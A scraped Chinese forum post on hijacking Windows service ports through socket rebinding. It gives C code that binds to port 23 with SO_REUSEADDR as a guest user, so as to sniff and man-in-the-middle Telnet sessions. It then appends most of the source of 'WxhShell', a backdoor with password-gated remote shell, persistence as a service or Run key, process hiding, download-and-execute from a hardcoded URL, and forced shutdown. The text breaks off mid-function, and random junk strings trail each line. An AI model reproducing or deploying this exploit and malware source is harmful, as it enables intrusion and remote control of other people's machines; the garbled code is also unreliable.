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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q-hREO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jK-b#h.gL  
]?G|:Kx$y%  
  saddr.sin_family = AF_INET; r'(*#  
`92P~Y~`W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c_4K  
b(_f{R7PY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x^zw1e,y  
;\g0* b(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @}\i`H1s  
W1Vy5V|M  
  这意味着什么?意味着可以进行如下的攻击: ;Zm-B]\  
h6b(FTC^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H)k V8wU  
vf5q8/a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) baoyU#X9  
+)hxYLk&I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +OI<0  
xp?YM35  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   ;kzjx%h  
{E[t(Ig  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s*Nb=v.e9  
VUi> ]v/e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )+Y"4?z~  
l6*MiX]q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Z nASlc)  
P$x9Z3d_  
  #include e9RH[:  
  #include 'NMO>[.  
  #include O9P+S|hcY  
  #include    {'p < o$(S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HLkI?mW<  
  int main() jM}(?^@  
  { n)0M1o#  
  WORD wVersionRequested; '%X29B5  
  DWORD ret; 7`j%5%q  
  WSADATA wsaData; %M3L<2  
  BOOL val; O DEFs?%'  
  SOCKADDR_IN saddr; ~&aULY?)]  
  SOCKADDR_IN scaddr; PN3 Qxi4F  
  int err; >0z`H|;  
  SOCKET s; h,?%,GI  
  SOCKET sc; d6a3\f  
  int caddsize; z/]]u.UP  
  HANDLE mt; $1$0M  
  DWORD tid;   jlA6~n  
  wVersionRequested = MAKEWORD( 2, 2 ); [Tl66Eyl  
  err = WSAStartup( wVersionRequested, &wsaData ); eEBo:Rc9  
  if ( err != 0 ) { ~N%+ZXh&E  
  printf("error!WSAStartup failed!\n"); hFo29oN  
  return -1; A`#?Bj   
  } eBH:_Ls_-^  
  saddr.sin_family = AF_INET; KL6B!B{;  
   2!6E~<~HC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 182g6/,  
O/U?Wq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :>iN#)S  
  saddr.sin_port = htons(23); Z3yy(D>*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UEx13!iFo  
  { nG";?TT  
  printf("error!socket failed!\n"); ;\v&4+3S  
  return -1; Q*Y-@lZ  
  } :c|Om{;  
  val = TRUE; ?nPG#Z|%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h w ^ V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wH$qj'G4CN  
  { wz)s  
  printf("error!setsockopt failed!\n"); oI!"F=?&6  
  return -1; *u-$$@|y  
  } otdRz<C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z4 <_>)p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Oi'y0S~ g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `KtP ;nG  
.*f 6n|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s= ]NKJaQH  
  { b*Q3j}cZ  
  ret=GetLastError(); gV-*z}`U  
  printf("error!bind failed!\n"); q1q 9W@H  
  return -1; gs3c1Qa3b  
  } '}9 Nvr)+  
  listen(s,2); x|yJCs>  
  while(1) {?Nm"#  
  { }`2a>N: &  
  caddsize = sizeof(scaddr); Z;V(YK(WO.  
  //接受连接请求 eKy!Pai  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &l0K~7)b  
  if(sc!=INVALID_SOCKET) g^Hf^%3xP  
  { I eJI-lo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0 @!huk  
  if(mt==NULL) :._Igjj$=  
  { I-/>M/66  
  printf("Thread Creat Failed!\n"); 4Z>gK(  
  break; Gh/nNwyu<  
  } #6 vf:94  
  }  4pl\qf  
  CloseHandle(mt); 5'NNwc\  
  } 1)^\R(l  
  closesocket(s); =.7tS'  
  WSACleanup(); EcL6lNTR+  
  return 0; (c)=Do=  
  }   !(7m/R  
  DWORD WINAPI ClientThread(LPVOID lpParam) kc0MQ TJU  
  { Pn^`_  
  SOCKET ss = (SOCKET)lpParam; sQ340!  
  SOCKET sc; aoZ| @x  
  unsigned char buf[4096]; g<(!>:h  
  SOCKADDR_IN saddr; 0VcHz$ 6  
  long num; "b~C/-W I  
  DWORD val; umWs8-'Uw  
  DWORD ret; %VFoK-a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D{s87h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i%!<6K6UT  
  saddr.sin_family = AF_INET; pHoHngyi&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r-wCAk}m*?  
  saddr.sin_port = htons(23); %'ah,2a%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4~3 n =T*  
  { f*<Vq:N=\  
  printf("error!socket failed!\n"); F{;#\Ob  
  return -1; 6i-G{)=l  
  } T 5Zh2Q@  
  val = 100; +Eh.PWEe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bS;_xDXd  
  { .n1&Jsey  
  ret = GetLastError(); g=[OH  
  return -1; =]]1x_GB  
  } *d jLf.I@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  :`N ZD  
  { iphC\*F  
  ret = GetLastError(); ij!d-eM/b  
  return -1; '=vZAV`  
  } ?5J# yn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]y6 {um8"  
  { m=sEB8P  
  printf("error!socket connect failed!\n"); {h|<qfH  
  closesocket(sc); },j |eA/W  
  closesocket(ss); jQ;/=9  
  return -1; Bkd$'7UT  
  } w") G:K  
  while(1) )-_^vB  
  { ~;3#MAG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IK\~0L;ozE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =X?fA,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U!o7Nw@ z  
  num = recv(ss,buf,4096,0); m{Vd3{H40  
  if(num>0) 7H)$NG<U$  
  send(sc,buf,num,0); ,eBC]4)B6  
  else if(num==0) pe vXixl  
  break; {o5|(^l  
  num = recv(sc,buf,4096,0); k7Bh[ ..!  
  if(num>0) <HoCt8>U  
  send(ss,buf,num,0); !{r2`d09n)  
  else if(num==0) @Suz-j(H  
  break; f]8MdYX(  
  }  Rpgg :  
  closesocket(ss); !nSa4U,$w<  
  closesocket(sc); 8j;Un]  
  return 0 ; e?.j8 Q ~  
  } X#ttDB  
3T8d?%.l  
>lV,K1Z  
========================================================== ,)Q-o2(C  
YK)m6zW5  
下边附上一个代码,,WXhSHELL gMI%!Y  
"G [Nb:,CR  
========================================================== wHbkF#[:i  
wx*?@f>u^  
#include "stdafx.h" Q"dq_8\`U  
M !'d  
#include <stdio.h> u:f ]|Q  
#include <string.h> ,fp+nu8,  
#include <windows.h> UqI #F  
#include <winsock2.h> 7S }0Kuk)  
#include <winsvc.h> i8V\x>9  
#include <urlmon.h> IqYJ  
_# sy  
#pragma comment (lib, "Ws2_32.lib") uP'L6p5  
#pragma comment (lib, "urlmon.lib") uC;_?Bve  
~D9Cu>d9  
#define MAX_USER   100 // 最大客户端连接数 \W .CHSD  
#define BUF_SOCK   200 // sock buffer `f;w  
#define KEY_BUFF   255 // 输入 buffer Nu6NyYs  
Sv M\9  
#define REBOOT     0   // 重启 AB'+6QU9k  
#define SHUTDOWN   1   // 关机 S/XU4i:aV  
=@Oo3*>  
#define DEF_PORT   5000 // 监听端口 ;stuTj@vH  
:')[pO_FW*  
#define REG_LEN     16   // 注册表键长度  Y${'  
#define SVC_LEN     80   // NT服务名长度 euB1}M  
N1ipK9a  
// 从dll定义API t,7%| {  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]?4;Lw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z6zV 9hn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X} k;(rb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,GH`tK_  
?$6H',u  
// wxhshell配置信息 P+j=]Yg  
struct WSCFG { \EfX3ghPI  
  int ws_port;         // 监听端口 S[F06.(1  
  char ws_passstr[REG_LEN]; // 口令 o^@"eG$,  
  int ws_autoins;       // 安装标记, 1=yes 0=no KrpIH6  
  char ws_regname[REG_LEN]; // 注册表键名 b)I-do+  
  char ws_svcname[REG_LEN]; // 服务名 5!F;|*vC8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mU #F>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vUpAW[[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wD9K\%jIr!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X`D2w:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AT"gRCU$4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l ;:IL\*1I  
BD C DQ  
}; X+;[Gc}(W  
G}pFy0W\S  
// default Wxhshell configuration "|8oFf)l@B  
struct WSCFG wscfg={DEF_PORT, 63W;N7@  
    "xuhuanlingzhe", V9oBSP'kt  
    1, a#j,0FKv  
    "Wxhshell", 6j6CA?|  
    "Wxhshell", C^ )Imr  
            "WxhShell Service", )s $]+HQs  
    "Wrsky Windows CmdShell Service", <VxA&bb7c  
    "Please Input Your Password: ", .#yg=t1C  
  1, Fv~lasW[  
  "http://www.wrsky.com/wxhshell.exe", *kLFs|U  
  "Wxhshell.exe" L )JB^cxf  
    }; B#V""[Y9  
= 7y-o  
// 消息定义模块 ~~/,2^   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =d{6=2Pt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DhM=q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?J:w,,4m  
char *msg_ws_ext="\n\rExit."; ,R{&x7  
char *msg_ws_end="\n\rQuit."; k+h}HCzE  
char *msg_ws_boot="\n\rReboot..."; D^[l~K  
char *msg_ws_poff="\n\rShutdown..."; O)dnr8*  
char *msg_ws_down="\n\rSave to "; h[remR# 3\  
]\M{Abqd{  
char *msg_ws_err="\n\rErr!"; << 6 GE  
char *msg_ws_ok="\n\rOK!"; HgQjw!  
o,rF15  
char ExeFile[MAX_PATH]; egq,)6>  
int nUser = 0; gnp.!-  
HANDLE handles[MAX_USER]; W22S/s  
int OsIsNt; %%No XW  
Orq/38:4G  
SERVICE_STATUS       serviceStatus; +M=h+3hw](  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Pm5nS  
5eTA]  
// 函数声明 E22o-nI?1  
int Install(void); QEJu.o  
int Uninstall(void); KTm^}')C8  
int DownloadFile(char *sURL, SOCKET wsh); "^4*,41U  
int Boot(int flag); lju5+0BSb  
void HideProc(void); S F)$b  
int GetOsVer(void); x@  =p  
int Wxhshell(SOCKET wsl); |ty&}'6C  
void TalkWithClient(void *cs); "uBnK!  
int CmdShell(SOCKET sock); !4p{ b f  
int StartFromService(void); t1Ts!Q2  
int StartWxhshell(LPSTR lpCmdLine); 31G:[;g  
8>C4w 5kF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1clzDwW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z 8w\[AF{$  
+-!3ruwSn  
// 数据结构和表定义 \m7\}Nbz0/  
SERVICE_TABLE_ENTRY DispatchTable[] = uc,>VzdB  
{ =zn'0g, J4  
{wscfg.ws_svcname, NTServiceMain}, M ygCg(h  
{NULL, NULL} .BP d06y  
}; ^(;x-d3  
NO*, }aeG  
// 自我安装 goR_\b SU  
int Install(void) #4AU&UM+i  
{ E]#;K-j  
  char svExeFile[MAX_PATH]; a?-Jj\q  
  HKEY key; ranem0KQ)]  
  strcpy(svExeFile,ExeFile); ]>~.U ~  
?w/p 9j#  
// 如果是win9x系统,修改注册表设为自启动 I!/EQO|  
if(!OsIsNt) { 'fn}I0Vc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @ 51!3jeu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s4Ja y!A  
  RegCloseKey(key); 'pA%lc)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Jgl"Jw8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %/2 ` u  
  RegCloseKey(key); a @? $#>  
  return 0; Jz''UJY/O  
    } w^L`"  
  } 0@_8JB ?E  
} Xf;!w:u  
else { TD\TVK3P  
p7+{xXf  
// 如果是NT以上系统,安装为系统服务 (lwV(M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .yF-<Y  
if (schSCManager!=0) 6ud?US(  
{ (B\Kb4m  
  SC_HANDLE schService = CreateService +Vg(2Xt  
  ( .;?ha'  
  schSCManager, >XZ2w_  
  wscfg.ws_svcname, t_^cqEr  
  wscfg.ws_svcdisp, xpa+R^D5G  
  SERVICE_ALL_ACCESS, x6>WvF Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;R >>,&g  
  SERVICE_AUTO_START, 70avr)OM  
  SERVICE_ERROR_NORMAL, e|A=sCN-  
  svExeFile, ->|eMV'd  
  NULL, -)J*(7F(6^  
  NULL, <!dZ=9^^ 1  
  NULL, ]UO zz1   
  NULL, <> =(BAw  
  NULL ]@SEOc@ j  
  ); wB8548C}-  
  if (schService!=0) hpOY&7QUTD  
  { ^p4`o>  
  CloseServiceHandle(schService); iMVQt1/  
  CloseServiceHandle(schSCManager); XPYf1H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,9|7{j|u  
  strcat(svExeFile,wscfg.ws_svcname); \ bNDeA&l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5UL5C:3R9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gyu =}  
  RegCloseKey(key); 2P57C;N8|  
  return 0; +SV!QMIg  
    } {w>ofyqfp&  
  } -b%' K}.C  
  CloseServiceHandle(schSCManager); aS3-A 4  
} L#vk77  
} @ 6jKjI  
w#(E+s~}  
return 1; I<lkociUCG  
} -?T|1FA,  
How:_ Hj  
// 自我卸载 Ejf>QIB  
int Uninstall(void) -% B)+yq>  
{ Ft2 ZZ<As  
  HKEY key; "(F:'J} X  
d#,   
if(!OsIsNt) { {flxZ}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aj+I+r"~  
  RegDeleteValue(key,wscfg.ws_regname); +/*A}!#v  
  RegCloseKey(key); b#e|#!Je  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > m9ge`!9  
  RegDeleteValue(key,wscfg.ws_regname); z81`Lhg6  
  RegCloseKey(key); 4pu>f.  
  return 0; kZ_5R#xK  
  } !ImtnU}  
} i V%tn{fc  
} a67NWH  
else { & V/t0  
wmv/ ?g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `_e1LEH  
if (schSCManager!=0) X15e~;&  
{ bF3}L=z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y6%O9b  
  if (schService!=0) k3"Y!Uha:  
  { W^nG\"T^  
  if(DeleteService(schService)!=0) { Qgv-QcI{  
  CloseServiceHandle(schService); ZYW=#df R  
  CloseServiceHandle(schSCManager); ~_L_un.R  
  return 0; *C(XGX\?-  
  } r`'n3#O*  
  CloseServiceHandle(schService); t5za$kW'&  
  } @xtfm.}  
  CloseServiceHandle(schSCManager); \.dvRI'  
} j.rJfbE|X  
} 1@0ZP~LTB  
of:xj$dQ_  
return 1; aV8]?E5G  
}  bR5+({yH  
PM%Gsy]q  
// 从指定url下载文件 -i?-Xj#%  
int DownloadFile(char *sURL, SOCKET wsh) "Tm`V9  
{ DbkKmv&  
  HRESULT hr; 6jtnH'E/  
char seps[]= "/"; o;@T6-VH  
char *token; Dx27s  
char *file; F\;G'dm  
char myURL[MAX_PATH]; 5zF7yvS.w  
char myFILE[MAX_PATH]; $McVK>=  
3v%V\kO=F  
strcpy(myURL,sURL); p9)'nU'\t  
  token=strtok(myURL,seps); ZtfPB  
  while(token!=NULL) Ol'Ct'_k,"  
  { v [ 4J0  
    file=token; 8?O6IDeW  
  token=strtok(NULL,seps); !1}A\S  
  } AA um1xl  
=X11x)]F9  
GetCurrentDirectory(MAX_PATH,myFILE); sc^TElic  
strcat(myFILE, "\\"); 3X&}{M:Qo  
strcat(myFILE, file); Xo>P?^c4?  
  send(wsh,myFILE,strlen(myFILE),0); ]I#yS=;  
send(wsh,"...",3,0); gG^K\+S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w#5^A(NR  
  if(hr==S_OK) ^MGgFS]G  
return 0; h+! Ld^'c  
else bCF"4KXK  
return 1; _kb $S  
K -!YD}OF  
} ,tZWPF-  
Lh6G"f(n  
// 系统电源模块 &JM|u ww?1  
int Boot(int flag) eFUJASc  
{ ^E8XPK]-~  
  HANDLE hToken; :Uf\r `a9  
  TOKEN_PRIVILEGES tkp; !PI& y  
YAqv:  
  if(OsIsNt) { {mK=Vig  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3PLv;@!#j}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8C2s-%:  
    tkp.PrivilegeCount = 1; 7c9-MP)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ a|zvH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |"vUC/R2&  
if(flag==REBOOT) { gf^"s fNk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ika/ GG  
  return 0; Tp&03  
} Rw\ LVRdA  
else { *wcb5p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eDR4 c%  
  return 0; f:gXXigY,  
} qr[H0f]  
  } G/Nb@pAy[  
  else { f\FubL  
if(flag==REBOOT) { <GI{`@5C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FWv-_  
  return 0; 2XubM+6  
} V8w!yc  
else { h[M~cZ{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %]Gm  
  return 0; ^T83E}  
} #;?j]npg]  
} {k=H5<FV  
o;+$AU1f  
return 1; fGDR<t3yiQ  
} ]p/f@j?LU  
_,Wb`P  
// win9x进程隐藏模块 2`qO'V3Q  
void HideProc(void) PMzPe"3M  
{ ) # le|Rf  
$gU6=vN1#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @0cQ4}  
  if ( hKernel != NULL ) u-g2*(ZT  
  { / E~)xgPM<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LP?E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XLe8]y=  
    FreeLibrary(hKernel); c+:LDc3!Gb  
  } @giJ&3S,  
@C]]VE  
return; )&R^J;W$M1  
} ?-mDvW  
:td#zM  
// 获取操作系统版本 "L'0"  
int GetOsVer(void) o";5@NH  
{ $I40 hk  
  OSVERSIONINFO winfo; V7}5Zw1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nA:\G":\y  
  GetVersionEx(&winfo); wLyQ <[$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2%Bq[SMuN  
  return 1; q3a`Y)aVB  
  else s ~'><ioh  
  return 0; vK\n4mE[,  
} #jdo54-  
T~B'- >O  
// 客户端句柄模块 bvZTB<rA  
int Wxhshell(SOCKET wsl) )NG{iD{_]  
{ (#6E{@eq  
  SOCKET wsh; rO8Q||@>A  
  struct sockaddr_in client;  g wM~W  
  DWORD myID; ,})x1y  
x2gnB@t  
  while(nUser<MAX_USER) ^6*LuXPv  
{ HZ$q`e  
  int nSize=sizeof(client); gG;d+s1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `uRf*-   
  if(wsh==INVALID_SOCKET) return 1; '_)NI  
e_3KNQ`kA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L@> +iZSO  
if(handles[nUser]==0) H]v"_!(\  
  closesocket(wsh); (x7AV$N  
else P} =eR  
  nUser++; |)'gQvDM  
  } a o_A %?Ld  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lLD-QO}/  
nNe`?TS?f  
  return 0; B{IYVviiP  
} xi5/Wc6  
WU oGIT'  
// 关闭 socket /9/svPc]  
void CloseIt(SOCKET wsh) ;DWtCtD  
{ Yv0;UKd  
closesocket(wsh); qkX}pQkG)h  
nUser--; DtBIDU]  
ExitThread(0); }q0lbwYlb  
} f@@2@# 5B  
('1k%`R%  
// 客户端请求句柄 v/%q*6@  
void TalkWithClient(void *cs) V,>_L  
{ qta^i819  
/+pPcK  
  SOCKET wsh=(SOCKET)cs; C4V#qhj  
  char pwd[SVC_LEN]; Jz(!eTVs  
  char cmd[KEY_BUFF]; =\v./Q-  
char chr[1]; [H#*#v  
int i,j; T*"15ppfk  
ZSL:q%:.  
  while (nUser < MAX_USER) { &=SP"@D  
-OLXRc=  
if(wscfg.ws_passstr) { 5fGUJ[F=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \VW&z:/*pZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .:eNL]2%:  
  //ZeroMemory(pwd,KEY_BUFF); ]V9z)uz  
      i=0; gemjLuf  
  while(i<SVC_LEN) { RfPRCIo  
I"*;fdm  
  // 设置超时 }@Mx@ S  
  fd_set FdRead; 0>D:  
  struct timeval TimeOut; D8+68_BEM  
  FD_ZERO(&FdRead); Iq&S6l <0  
  FD_SET(wsh,&FdRead); Ve<3XRq|8  
  TimeOut.tv_sec=8; F">>,Oc)U"  
  TimeOut.tv_usec=0; <,S0C\la=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !*8x>,/>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RZykwD(  
g=?KpI-pn0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); USVM' ~p I  
  pwd=chr[0]; :P$I;YY=A  
  if(chr[0]==0xd || chr[0]==0xa) { 5H_%inWM  
  pwd=0; 'TPRGX~&  
  break; ?L|Jc_E  
  } +cAN4  
  i++; x~."P*5  
    } \Fh k>  
hv xvwV1  
  // 如果是非法用户,关闭 socket q9n0bw^N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 51oZ w%os=  
} Q ! 5P  
Ed/@&52z0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gmcx#?|Tx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Is6<3eQ\x  
q?C)5(  
while(1) { bTzVmqGY  
M,[u}Rf^w  
  ZeroMemory(cmd,KEY_BUFF); md[FtcY\  
@Kri)U i  
      // 自动支持客户端 telnet标准   C~M~2@Iori  
  j=0; AR\?bB~`c  
  while(j<KEY_BUFF) { LX<c(i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g{8 R+  
  cmd[j]=chr[0]; XezO_V  
  if(chr[0]==0xa || chr[0]==0xd) { \~xOdqF/  
  cmd[j]=0; {aq\sf;i{  
  break; NEQcEUd?  
  } b~ ?TDm7  
  j++; R6 w K'  
    } 2aUz.k8o  
xh> /bU!>  
  // 下载文件 H[%F o  
  if(strstr(cmd,"http://")) { z`uqK!v(K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Oo^  
  if(DownloadFile(cmd,wsh)) u!2.[CV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P[{w23`4  
  else ypXKw7f(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RM53B  
  } WfVkewuPo  
  else { iL1.R+  
/2oTqEqaV  
    switch(cmd[0]) { :=04_5 z  
  8eP2B281  
  // 帮助 xJ9_#$ngeM  
  case '?': { 96F:%|yG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S=lA^#'UdX  
    break; . iq.H  
  } [Dq7mqr$  
  // 安装 U'LO;s04m  
  case 'i': {  >p!d(J?  
    if(Install()) k>{i_`*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uVqJl{e\  
    else ovCk :Vz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,TU!W|($  
    break; sTqy-^e7  
    } -mZo`  
  // 卸载 q 9qmz[  
  case 'r': { k=Ef)'  
    if(Uninstall()) eEJ8j_G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #I@]8U#,":  
    else (~pcPGUG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8{Y ?;~G  
    break; &RXd1>|c2  
    } y{ 90A  
  // 显示 wxhshell 所在路径 o<-%)#e  
  case 'p': { 0[D5]mcv  
    char svExeFile[MAX_PATH]; )T#;1qNB  
    strcpy(svExeFile,"\n\r"); ?9X#{p>q  
      strcat(svExeFile,ExeFile); c i7;v9  
        send(wsh,svExeFile,strlen(svExeFile),0); W<2%J)N<  
    break; X5wS6v)#(  
    } CV4V_G  
  // 重启 oAWk<B(@  
  case 'b': { N(&FATZUW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nl_!%k:  
    if(Boot(REBOOT)) qx{.`AaZW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [CPZj*|b  
    else { ~N[hY1}X[  
    closesocket(wsh); CpS' 2@6  
    ExitThread(0); Beqhe\{  
    } mkBQX  
    break; QC<( rx  
    } U`6QD}c"s  
  // 关机 i*_KHK  
  case 'd': { p{Pa(Z]G  
